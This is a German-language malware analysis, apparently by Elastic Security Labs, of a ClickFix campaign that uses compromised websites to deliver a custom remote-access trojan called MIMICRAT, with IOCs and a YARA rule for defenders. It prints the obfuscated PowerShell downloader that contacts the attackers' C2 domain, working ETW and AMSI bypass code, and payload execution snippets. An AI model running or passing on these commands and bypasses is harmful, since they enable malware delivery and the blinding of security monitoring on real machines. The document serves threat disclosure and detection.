Salim Bitam

MIMICRAT: ClickFix-Kampagne liefert benutzerdefinierte RAT über kompromittierte legitime Websites

Elastic Security Labs deckte eine ClickFix-Kampagne auf, die kompromittierte legitime Websites nutzte, um eine fünfstufige Kette auszuliefern, die in MIMICRAT endete, einem benutzerdefinierten nativen C RAT mit formbarem C2, Token-Diebstahl und SOCKS5-Tunneling.

7 Minuten LesezeitMalware-Analyse
MIMICRAT: ClickFix-Kampagne liefert benutzerdefinierte RAT über kompromittierte legitime Websites

Einführung

Im Rahmen einer kürzlich durchgeführten Untersuchung identifizierte Elastic Security Labs eine aktive ClickFix-Kampagne, die mehrere legitime Websites kompromittierte, um eine mehrstufige Malware-Kette auszulösen. Im Gegensatz zu einfacheren ClickFix-Implementierungen, die bei gewöhnlichen Infostealern enden, endet diese Kampagne mit einem leistungsfähigen, individuell angepassten Remote-Access-Trojaner (RAT), den wir MIMICRAT genannt haben: ein natives C-Implantat mit formbaren C2-Profilen, Token-Imitation, SOCKS5-Tunneling und einer Dispatch-Tabelle mit 22 Befehlen.

Die Kampagne zeugt von einem hohen Maß an operativer Raffinesse: Kompromittierte Websites aus verschiedenen Branchen und Regionen dienen als Auslieferungsinfrastruktur, eine mehrstufige PowerShell-Kette führt ETW- und AMSI-Bypässe durch, bevor ein Lua-skriptbasierter Shellcode-Loader ausgeführt wird, und das endgültige Implantat kommuniziert über HTTPS auf Port 443 unter Verwendung von HTTP-Profilen, die legitimen Webanalyse-Datenverkehr nachahmen.

Wichtigste Erkenntnisse

  • Mehrere legitime Websites wurden kompromittiert, um eine fünfstufige Angriffskette durchzuführen.
  • Der Lua-Loader führt eingebetteten Shellcode aus.
  • MIMICRAT ist ein maßgeschneiderter nativer C++ RAT mit veränderbaren C2-Profilen, Windows-Token-Diebstahl und SOCKS5-Proxy.

Discovery

Elastic Security Labs identifizierte diese Kampagne erstmals Anfang Februar 2026 durch Endpunkt-Telemetrie, die verdächtige PowerShell-Ausführungen mit verschleierten Befehlszeilenargumenten meldete.

Angesichts der Neuartigkeit der finalen Nutzlast haben wir am 11. Februar über soziale Medien erste Indikatoren öffentlich gemacht 2026 , um sicherzustellen, dass die breitere Sicherheitsgemeinschaft mit der Suche nach und der Abwehr dieser Bedrohung beginnen kann, während unsere vollständige Analyse noch im Gange ist. Die Kampagne ist zum Zeitpunkt dieser Veröffentlichung noch aktiv.

Forscher bei Huntress haben verwandte ClickFix-Kampagnen dokumentiert , die eine ähnliche Infrastruktur und ähnliche Techniken verwenden. Dies verdeutlicht die Bandbreite der Operationen dieses Bedrohungsakteurs, die sich über mehrere parallele Kampagnen erstrecken.

Kampagnendurchführung

Die Durchführung der Kampagne beruht ausschließlich auf der Kompromittierung legitimer, vertrauenswürdiger Websites und nicht auf der Infrastruktur von Angreifern. Der Einstiegspunkt für Opfer ist bincheck[.]io. ein legitimer Bankidentifikationsnummern-Validierungsdienst (BIN). Der Angreifer kompromittierte diese Website und injizierte einen bösartigen JavaScript-Codeausschnitt, der dynamisch ein externes Skript lädt, das auf https://www.investonline[.]in/js/jq.php gehostet wird, einer zweiten kompromittierten Website, einer legitimen indischen Investmentplattform für Investmentfonds (Abchlor Investments Pvt. Ltd.). Das externe Skript ist so benannt, dass es die jQuery-Bibliothek imitiert und sich nahtlos in den bestehenden Ressourcenladevorgang der Seite einfügt.

Es ist dieses remote geladene Skript (jq.php), das den ClickFix-Köder liefert: eine gefälschte Cloudflare-Verifizierungsseite, die das Opfer anweist, manuell einen Befehl einzufügen und auszuführen, um ein Problem zu "beheben". Der Köder kopiert einen bösartigen PowerShell-Befehl direkt in die Zwischenablage des Opfers und fordert es auf, ein Ausführen-Dialogfeld (Win+R) oder eine PowerShell-Eingabeaufforderung zu öffnen und ihn einzufügen. Diese Technik umgeht die browserbasierten Downloadschutzmechanismen vollständig, da keine Datei heruntergeladen wird.

Diese mehrdimensionale Kompromittierung beruht darauf, dass eine dem Opfer zugewandte Website ein bösartiges Skript von einer zweiten kompromittierten Website lädt, das Entdeckungsrisiko verteilt und die wahrgenommene Legitimität des Köders sowohl für Benutzer als auch für automatisierte Sicherheitstools erhöht. Die Kampagne unterstützt 17 Sprachen, wobei die Köderinhalte dynamisch auf Basis der Browser-Spracheinstellungen des Opfers lokalisiert werden, um die effektive Reichweite zu erhöhen. Die identifizierten Opfer verteilen sich auf verschiedene Regionen, darunter eine Universität in den USA und mehrere chinesischsprachige Nutzer, die in öffentlichen Forendiskussionen dokumentiert wurden, was auf ein breit angelegtes opportunistisches Vorgehen hindeutet.

Nachfolgend die Liste der von ClickFix unterstützten Sprachen:

  • Englisch
  • Chinesisch
  • Russisch
  • Spanisch
  • Französisch
  • German
  • Portugiesisch
  • Japanisch
  • Koreanisch
  • Italienisch
  • Türkisch
  • Polnisch
  • Niederländisch
  • Vietnamesisch
  • Arabisch
  • Hindi
  • Indonesisch

Code-Analyse

Sobald das Opfer den Befehl aus der Zwischenablage ausführt, entfaltet sich die Kampagne in fünf verschiedenen Phasen: Ein verschleierter PowerShell-Downloader kontaktiert den C2-Server, um ein Skript der zweiten Phase abzurufen, das die Windows-Ereignisprotokollierung (ETW) und die Antivirenprüfung (AMSI) patcht, bevor ein Lua-basierter Loader abgespielt wird; der Loader entschlüsselt und führt Shellcode vollständig im Speicher aus; und der Shellcode liefert schließlich MIMICRAT, eine leistungsfähige RAT, die für dauerhaften Zugriff und laterale Bewegung entwickelt wurde.

Stufe 1 PowerShell-Einzeiler-Befehl

Der aus der Zwischenablage übermittelte Befehl ist ein kompakter und verschleierter PowerShell-Einzeiler:

powershell.exe -WInDo Min $RdLU='aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf';$OnRa=($RdLU.Substring(17,12));$jOFn=.($RdLU[(87)/(3)]+$RdLU[19]+$RdLU[2]) $OnRa;$TNNt=$jOFn; .($TNNt.Remove(0,3).Remove(3))($TNNt); # connects to xMRi.neTwOrk

Der Befehl verwendet String-Slicing und arithmetische Indexoperationen auf einer einzigen Seed-Zeichenkette (aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf), um sowohl die Zieldomäne als auch den Aufrufmechanismus zur Laufzeit zu rekonstruieren und vermeidet so eine Klartextdarstellung der C2-Domäne oder der PowerShell-Cmdlet-Namen in der anfänglichen Nutzlast. Das Fenster ist minimiert (-WInDo Min). Die extrahierte Domain ist xMRi.neTwOrk, die zu 45.13.212.250 aufgelöst wird und ein PowerShell-Skript der zweiten Stufe herunterlädt.

Die Analyse der Infrastruktur auf Basis von 45.13.212.250 über VirusTotal-Beziehungen ergab eine zweite Domain, WexMrI.CC, die zur gleichen IP-Adresse aufgelöst wird. Beide Domains verwenden das gleiche Formatierungsmuster mit gemischter Groß- und Kleinschreibung zur Verschleierung.

Stufe 2 Verschleiertes PowerShell-Skript

Das heruntergeladene PowerShell-Skript der zweiten Stufe ist wesentlich komplexer. Alle Zeichenketten werden zur Laufzeit durch Auflösung arithmetischer Ausdrücke in ASCII-Zeichen erstellt:

$smaau = (-join[char[]](((7454404997-7439813680)/175799),(91873122/759282),...))
# Resolves to: "System.Diagnostics.Eventing.EventProvider"

Diese Technik macht das Skript für statische Analysen und signaturbasierte Erkennung undurchsichtig, während es zur Laufzeit voll funktionsfähig bleibt. Eine Dummy-Klassendeklaration wird als Köder eingefügt und
Das Skript führt vier aufeinanderfolgende Operationen aus:

ETW-Umgehung

Das Skript greift über Reflektion auf das interne Feld m_enabled der Klasse System.Diagnostics.Eventing.EventProvider zu und ändert dessen Wert in 0, wodurch die Ereignisverfolgung für Windows effektiv deaktiviert und die Protokollierung von PowerShell-Skriptblöcken verdeckt wird.

[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)

AMSI-Umgehung

Anschließend verwendet das Skript Reflection, um auf System.Management.Automation.AmsiUtils zuzugreifen und das Feld amsiInitFailed auf $true zu setzen, wodurch PowerShell für den Rest der Sitzung das Scannen von AMSI-Inhalten überspringt.

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

AMSI - Speicherpatching

Das Skript führt zur Laufzeit ein Patching der Methodenhandles mittels Marshal.Copy durch. Dies ist ein zusätzlicher, aber weniger häufiger Schritt zur Umgehung der Verteidigung, bei dem Methodenzeiger im Speicher überschrieben werden, um die Ausführung von überwachten Codepfaden wegzuleiten. Dies zielt darauf ab, dass die Funktion ScanContent unter System.Management.Automation.AmsiUtils eine leere generate-Methode erhält.

$ScanContent_func = [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetMethods("NonPublic,Static") | Where-Object Name -eq "ScanContent"
$tttttttttt       = [zsZRXVIIMQvZ].GetMethods() | Where-Object Name -eq "FHVcGSwOEM"

[System.Runtime.InteropServices.Marshal]::Copy( @([System.Runtime.InteropServices.Marshal]::ReadIntPtr([long]$tttttttttt.MethodHandle.Value + [long]8)),
    0,
    [long]$ScanContent_func.MethodHandle.Value + [long]8,
    1
)

Nutzlastauslieferung

Bei deaktivierter Ereignisprotokollierung und AV-Scanning dekodiert das Skript ein Base64-kodiertes ZIP-Archiv, extrahiert es in ein zufällig benanntes Verzeichnis unter %ProgramData%/knz_{random} und führt die darin enthaltene Binärdatei zbuild.exe aus. Temporäre Artefakte werden nach der Ausführung bereinigt.

$extractTo = Join-Path $env:ProgramData ("knz_{0}" -f ([IO.Path]::GetRandomFileName()))
[IO.Compression.ZipFile]::ExtractToDirectory($tempZip, $extractTo)
Start-Process (Join-Path $extractTo 'zbuild.exe')

Stufe 3 Lua-Lader

Bei der abgelegten Binärdatei handelt es sich um einen benutzerdefinierten Lua 5.4.7 Loader. Es bindet einen Lua-Interpreter statisch ein.
Die Binärdatei entschlüsselt ein eingebettetes Lua-Skript zur Laufzeit mithilfe eines XOR-Stubs und führt es anschließend aus. Die XOR-Entschlüsselungsroutine (fxh::utility::lua_script_xor_decrypt) iteriert über den verschlüsselten Puffer und führt eine XOR-Verknüpfung jedes Bytes mit einem Schlüssel durch.

Das Lua-Skript implementiert einen benutzerdefinierten Base64-Decoder mit einem nicht standardmäßigen Alphabet, um einen eingebetteten Shellcode zu dekodieren. Der dekodierte Shellcode wird dann über luaalloc im ausführbaren Speicher allokiert, mit luacpy in diesen Speicher kopiert und schließlich über luaexe ausgeführt, wodurch eine vollständig speicherinterne, dateilose Shellcode-Ausführung erreicht wird.

Stage 4 Shellcode

Der Shellcode stimmte mit Meterpreter-bezogenen Signaturen überein, was darauf schließen lässt, dass es sich bei der Shellcode-Stufe um einen Loader handelt, der mit der Meterpreter-Codefamilie übereinstimmt, um MIMICRAT reflektierend in den Speicher zu laden.

Stufe 5 MIMIKRAT

Die endgültige Nutzlast mit auf Januar 29 2026 gesetzten Kompilierungsmetadaten ist eine native MSVC x64 PE-Datei, die mit dem Microsoft Visual Studio Linker Version 14.44 kompiliert wurde. Es entspricht keinem bekannten Open-Source-C2-Framework exakt, sondern implementiert eigene, flexible HTTP-C2-Profile mit ASCII-Zeichen-basierter Befehlsverteilung und einer benutzerdefinierten Architektur.

C2-Konfiguration und Kommunikation

Die Konfiguration von MIMICRAT ist im Abschnitt .data gespeichert. Es enthält kryptografische Schlüssel, Verbindungsparameter und zwei vollständige HTTP-Kommunikationsprofile. Alle Header-Strings und URIs sind hexadezimal kodierte ASCII-Zeichen und werden zur Laufzeit dekodiert.

Der C2-Server arbeitet über HTTPS auf Port 443 mit einem Rückrufintervall von 10 Sekunden. Der Hostname des C2-Servers (d15mawx0xveem1.cloudfront.net) ist mit dem folgenden RC4-Schlüssel @z1@@9&Yv6GR6vp#SyeG&ZkY0X74%JXLJEv2Ci8&J80AlVRJk&6Cl$Hb)%a8dgqthEa6!jbn70i27d4bLcE33acSoSaSsq6KpRaA7xDypo(5 RC4-verschlüsselt.

Das Implantat nutzt HTTPS zur Kommunikation mit einem mehrschichtigen Verschlüsselungsschema: Ein eingebetteter öffentlicher RSA-1024-Schlüssel übernimmt den asymmetrischen Sitzungsschlüsselaustausch.

Während AES für die symmetrische Verschlüsselung des C2-Verkehrs verwendet wird, nutzt es einen fest codierten Initialisierungsvektor abcdefghijklmnop und einen zur Laufzeit berechneten Schlüssel, der aus einem SHA-256-Hashwert eines zufällig generierten alphanumerischen Wertes abgeleitet wird, z. B. 9ZQs0p0gfpOj3Y02.

Im Folgenden sind die Profile aufgeführt, die vom Beispiel für POST- und GET-Anfragen verwendet werden:

HTTP GET-Profil: Einchecken und Aufgabenverwaltung
Komponente„Value“ (Wert)
Uri/intake/organizations/events?channel=app
User-AgentMozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.9.19041; ...) Edge/18.19045
Empfehlung[https://www.google.com/?q=dj1](https://www.google.com/?q=dj1)
Accept-Languagezh-CN,zh;q=0.9
CookiesAFUAK, BLA, HFK
HTTP-POST-Profil: Datenexfiltration
Komponente„Value“ (Wert)
Uri/discover/pcversion/metrics?clientver=ds
Empfehlung[https://gsov.google.com/](https://gsov.google.com/)
CookiesARCHUID, BRCHD, ZRCHUSR

Einsatzleitung

MIMICRAT implementiert insgesamt 22 verschiedene Befehle, um Post-Exploitation-Funktionen wie Prozess- und Dateisystemkontrolle, interaktiven Shell-Zugriff, Token-Manipulation, Shellcode-Injektion und SOCKS-Proxy-Tunneling bereitzustellen. Das Beacon-Intervall und der Jitter können vom Bediener zur Laufzeit über spezielle Befehle konfiguriert werden. Nachfolgend eine zusammenfassende Tabelle aller implementierten Befehle:

Befehls-IDFunktionBeschreibung
3AusfahrtBeendet den Implantationsprozess
4Beacon-Intervall einstellenKonfiguriert Schlafdauer und Jitter.
5Verzeichnis wechselnÄndert das aktuelle Arbeitsverzeichnis
10Datei schreibenSchreibt eine vom C2 bereitgestellte Nutzlast auf die Festplatte (Überschreiben).
11Datei lesenLiest eine Datei von der Festplatte und exfiltriert deren Inhalt an C2.
12Spawn-ProzessStartet einen Prozess unter Verwendung eines gestohlenen Tokens, falls verfügbar, andernfalls wird die Standardausführung verwendet.
28Identitätswechsel rückgängig machenMacht die Token-Impersonierung rückgängig und löscht den Token-Status.
31Token stehlenDupliziert das Sicherheitstoken eines Zielprozesses anhand der PID.
32ListenprozesseListet laufende Prozesse mit PID, PPID, Benutzer, Domäne und Architektur auf.
33ProzessabbruchBeendet einen Prozess anhand der PID
39Aktuelles Verzeichnis abrufenGibt das aktuelle Arbeitsverzeichnis an C2 zurück.
53ListendateienListet Dateien und Verzeichnisse mit Zeitstempeln und Größen auf.
54Verzeichnis erstellenErstellt ein Verzeichnis auf der Festplatte
55ListenantriebeListet logische Laufwerke auf
56Datei/Verzeichnis löschenLöscht eine Datei oder entfernt ein Verzeichnis
67An Datei anhängenFügt von C2 bereitgestellte Daten an eine bestehende Datei an.
73Datei kopierenKopiert eine Datei von der Quelle zum Ziel
74Datei verschieben/umbenennenVerschiebt oder benennt eine Datei um
78Interaktive HülleÖffnet eine dauerhafte interaktive CMD-Shell über eine Pipe
100Shellcode injizierenInjection von reflektierendem Shellcode
101SockenKonfiguriert den SOCKS-Proxy-Kanal oder beendet ihn.
102SOCKS-ProxyTeilt den Handler mit Befehl 101; höchstwahrscheinlich ein Platzhalterbefehl

Infrastruktur

Die Netzwerkinfrastruktur der Kampagne lässt sich in zwei Hauptgruppen unterteilen:

Cluster A — Erste Nutzlastzustellung (45.13.212.251 / 45.13.212.250)

Mehrere Domains verweisen auf diesen IP-Bereich, darunter xMRi.neTwOrk und WexMrI.CC. Bei der Domainbenennung wird eine Verschleierung durch gemischte Groß- und Kleinschreibung verwendet. Diese Infrastruktur dient dem PowerShell-Skript der zweiten Stufe und der eingebetteten Payload-ZIP-Datei.

Cluster B Post-Exploitation C2 (23.227.202.114)

Verbunden mit www.ndibstersoft[.]com und beobachtet in Beacon-Kommunikationen von der abgelegten Datei. Dies stellt den C2-Kanal des Betreibers nach der Ausnutzung dar.

CloudFront C2 Relay
d15mawx0xveem1.cloudfront[.]net ist als Teil der C2-Infrastruktur von MIMICRAT bestätigt. Die VT-Beziehungen für das rgen.zip -Beispiel zeigen, dass es diese CloudFront-Domäne mit demselben /intake/organizations/events?channel=app -URI-Muster kontaktiert, das im GET-Profil von MIMICRAT identifiziert wurde. Dies bestätigt, dass es als C2-Relay-Frontend für den Backend-Server fungiert.

Bereitstellungsinfrastruktur

Die Lieferkette besteht aus zwei kompromittierten, legitimen Websites:

  • bincheck.io — Zugangspunkt für das Opfer; kompromittiert, um das externe Schadskript zu laden
  • investonline.in — hostet die ClickFix-JavaScript-Payload (/js/jq.php), die als jQuery getarnt ist; dieses Skript rendert den Köder und liefert die PowerShell-Befehle aus der Zwischenablage.

Malware und MITRE ATT&CK**

Elastic verwendet das MITRE ATT&CK-Framework , um gängige Taktiken, Techniken und Verfahren zu dokumentieren, die von Advanced Persistent Threats gegen Unternehmensnetzwerke eingesetzt werden.

Taktiken

Taktiken stellen das Warum einer Technik oder Untertechnik dar. Es ist das taktische Ziel des Gegners: der Grund für die Ausführung einer Aktion.

Techniken

Techniken stellen dar, wie ein Angreifer ein taktisches Ziel erreicht, indem er eine Aktion ausführt.

Gegenmaßnahmen

Erkennung

Die folgenden Erkennungsregeln und Verhaltenspräventionsereignisse wurden während der Analyse dieses Intrusion-Sets beobachtet:

YARA

Elastic Security hat YARA-Regeln erstellt, um diese Aktivität zu identifizieren. Nachfolgend die YARA-Regeln zur Identifizierung der MimicRat:

rule Windows_Trojan_MimicRat {
    meta:
        author = "Elastic Security"
        creation_date = "2026-02-13"
        last_modified = "2026-02-13"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "MimicRat"
        threat_name = "Windows.Trojan.MimicRat"
        reference_sample = "a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4b"
        scan_type = "File, Memory"
        severity = 100

    strings:
        $b_0 = { 41 8B 56 18 49 8B 4E 10 41 89 46 08 }
        $b_1 = { 41 FF C0 48 FF C1 48 83 C2 4C 49 3B CA }
    condition:
        all of them
}

Beobachtungen

Alle Observables stehen auch im ECS- und STIX-Format in einem kombinierten Zip-Bundle zum Download zur Verfügung.

Die folgenden Observablen wurden in dieser Studie diskutiert.

ÜberwachbarTypNameReferenz
bcc7a0e53ebc62c77b7b6e3585166bfd7164f65a8115e7c8bda568279ab4f6f1SHA-256Stufe 1 PowerShell-Nutzlast
5e0a30d8d91d5fd46da73f3e6555936233d870ac789ca7dd64c9d3cc74719f51SHA-256Lua-Lader
a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4bSHA-256MIMICRAT-Leuchtfeuer
055336daf2ac9d5bbc329fd52bb539085d00e2302fa75a0c7e9d52f540b28bebSHA-256Verwandtes Beacon-Beispiel
45.13.212.251IPInfrastruktur zur Nutzlastauslieferung
45.13.212.250IPInfrastruktur zur Nutzlastauslieferung
23.227.202.114IPPost-Exploitation C2
xmri.networkDomainPhase 1 C2 / Nutzlastauslieferung
wexmri.ccDomainStufe 1 C2 Alternative
www.ndibstersoft[.]comDomainPost-Exploitation C2
d15mawx0xveem1.cloudfront[.]netDomainPost-Exploitation C2
www.investonline.in/js/jq.phpURLSchadsoftware-Payload-Host (kompromittiert)
backupdailyawss.s3.us-east-1.amazonaws[.]com/rgen.zipURLNutzlastauslieferung